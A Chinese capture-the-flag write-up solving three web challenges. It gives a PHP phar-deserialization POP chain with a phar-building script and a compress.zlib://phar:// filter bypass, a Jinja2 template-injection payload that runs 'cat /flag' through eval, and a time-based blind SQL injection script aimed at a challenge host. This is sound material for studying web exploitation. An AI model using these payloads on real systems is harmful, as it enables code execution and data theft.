phar反序列化:https://xz.aliyun.com/t/2715
开局访问/www.zip
得源码,功能主要在classes.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
|
<?php
error_reporting(0);
session_start();
class User
{
public $id;
public $age=null;
public $nickname=null;
public $backup;
...
}
public function upload(){
$uploader=new Upload();
$uploader->upload();
}
public function read(){
$reader=new reader();
$reader->read($_POST['filename']);
}
public function __toString()
{
$this->nickname->backup=$this->backup;
$user = new User();
$user->id = $_SESSION['id'];
$user->nickname = $_SESSION['token'];
return serialize($user);
}
}
class dbCtrl
{
...
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
}
...
public function __destruct(){
echo $this->token;
}
}
Class Upload{
public $flag;
public $file;
public $ext;
function __construct(){
$this->flag = 1;
$this->black_list = ['ph', 'ht', 'sh', 'pe', 'j', '=', 'co', '\\', '"', '\''];
}
function check(){
$ext = substr($_FILES['file']['name'], strpos($_FILES['file']['name'], '.'));
$reg=implode("|",$this->black_list);
$reg = "/" . $reg . "\x|\s|[\x01-\x20]/i";
if(preg_match($reg, $ext)){
$this->flag = 0;
}
$this->ext = $ext;
}
function __wakeup(){
$this->flag = 1;
}
function upload(){
$this->file = $_FILES['file'];
$this->check();
if($this->flag){
if(isset($_FILES['file'])){
if ($_FILES["file"]["error"] > 0){
echo "Error: " . $_FILES["file"]["error"];
}
else{
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. ";
}
else{
if ($_FILES["file"]["size"] > 10240){
echo "too big";
}
else{
$new_addr = $_SERVER['DOCUMENT_ROOT'] . "/upload/" . md5($_FILES['file']['name']) . $this->ext;
echo $new_addr;
move_uploaded_file($_FILES["file"]["tmp_name"], $new_addr);
return $new_addr;
}
}
}
}
}
else{
die("Noooooooooooooooooooooooooooo!");
}
}
}
Class Reader{
public $filename;
public $result;
public function read($filename){
if (preg_match("/flag/i",$filename)){
die("想多了嗷");
}
if (preg_match("/sh/i",$filename)){
die("nooooooooooo!");
}
if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename)){
die("Invid Schema!");
}
echo file_get_contents($filename);
}
public function __set($name,$val){
echo file_get_contents($val); // 读取/flag
}
}
|
结合phar反序列化利用条件:可用魔术方法作为跳板
,找到__destruct、__toString、__set
等魔术方法。
复习一下魔术方法的触发条件:
魔术方法 |
触发条件 |
__destruct |
对象被销毁时触发 |
__toString |
把类当作字符串使用时触发 |
__set |
用于将数据写入不可访问的属性 |
通过触发条件我们就可以初步构造POP链:
dbCtrl::$token -> User::$nickname -> Reader
,接着就遇到了如何触发__set
的问题。如果我们直接通过Reader向一个不存在的变量赋值,如$reader->tyskill="/flag"
,那么生成的序列化字符串则是O:6:"dbCtrl":1:{s:5:"token";O:4:"User":2:{s:8:"nickname";N;s:6:"backup";O:6:"Reader":0:{}}}
。
想象一下反序列化的过程,前面的魔术方法都成功的触发了,而到了最后一个__set
的触发时由于我们构造的变量消失了,无法触发,通过file_get_contents
读取/flag
的目的就无法达成。因此,我们必须要借助代码中已存在的变量完成触发任务。最符合触发__set
条件的格式应当是$reader->不可访问属性
,即$this->nickname->backup=$this->backup;
赋值过程,因为整个代码部分只有这个是一个属性指向另一个属性。这样我们就顺理成章地让nickname=new Reader();backup="/flag"
。
生成phar文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php
class dbCtrl {
public $token;
}
class User{
public $nickname;
public $backup;
}
class Reader {
}
$o = new dbCtrl();
$o->token = new User();
$o->token->nickname = new Reader();
$o->token->backup = '/flag';
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub(常规格式)
/*$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub(伪造图片)*/
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
|
修改phar文件后缀绕过对文件后缀的过滤,上传后得到文件路径
/var/www/html/upload/ed54ee58cd01e120e27939fe4a64fa92.png
接着我们就只需要通过phar://解析phar文件完成反序列化即可。
对于头部phar字符的过滤,我们通过compress.zlib://phar://
绕过即可。
compress.zlib://phar:///var/www/html/upload/ed54ee58cd01e120e27939fe4a64fa92.png
Log in登录框处存在模板注入,直接payload获得flag。
1
2
3
4
5
6
7
8
9
10
11
|
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
|
这道题是赛后趁环境还没关做的,之前只做到了盲注。
fuzz一下,发现过滤了' " union select ; mid - and = & like
字符,联想到前两天做的\转义单引号逃逸passwd
,第一感觉就是\逃逸
。
本着能不注就不注的态度,找到了robots.txt,访问发现路由/admin
,访问会出现弹窗Bad request,所以正常思路还是盲注得到密码再登录(PS:既然设置了robots.txt,为什么不把账号弄复杂点,admin谁都会用吧)。
这里贴下队友的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
import requests
from urllib import parse
import time
url = 'http://eci-2zefzwp8uhdy51ow0gzy.cloudeci1.ichunqiu.com/'
flag = ''
while True:
head = 1
tail = 127
mid = (head+tail)//2
while head < tail:
mid = (head+tail)//2
if mid == 92:
head += 1
continue
data = {"username": "\\",
"password": "||if(ord(substr(password,{0},1))>{1},sleep(2),1)#".format(str(count), str(mid))
}
start = time.time()
print(data['password'])
r = requests.post(url=url, data=data)
end = time.time()
if end - start > 2:
head = mid+1
else:
tail = mid
flag += chr(head)
print(flag)
|
注入得到password--uAreRigHt,admin/uAreRigHt登录,接下来闭合尖括号命令执行读取flag。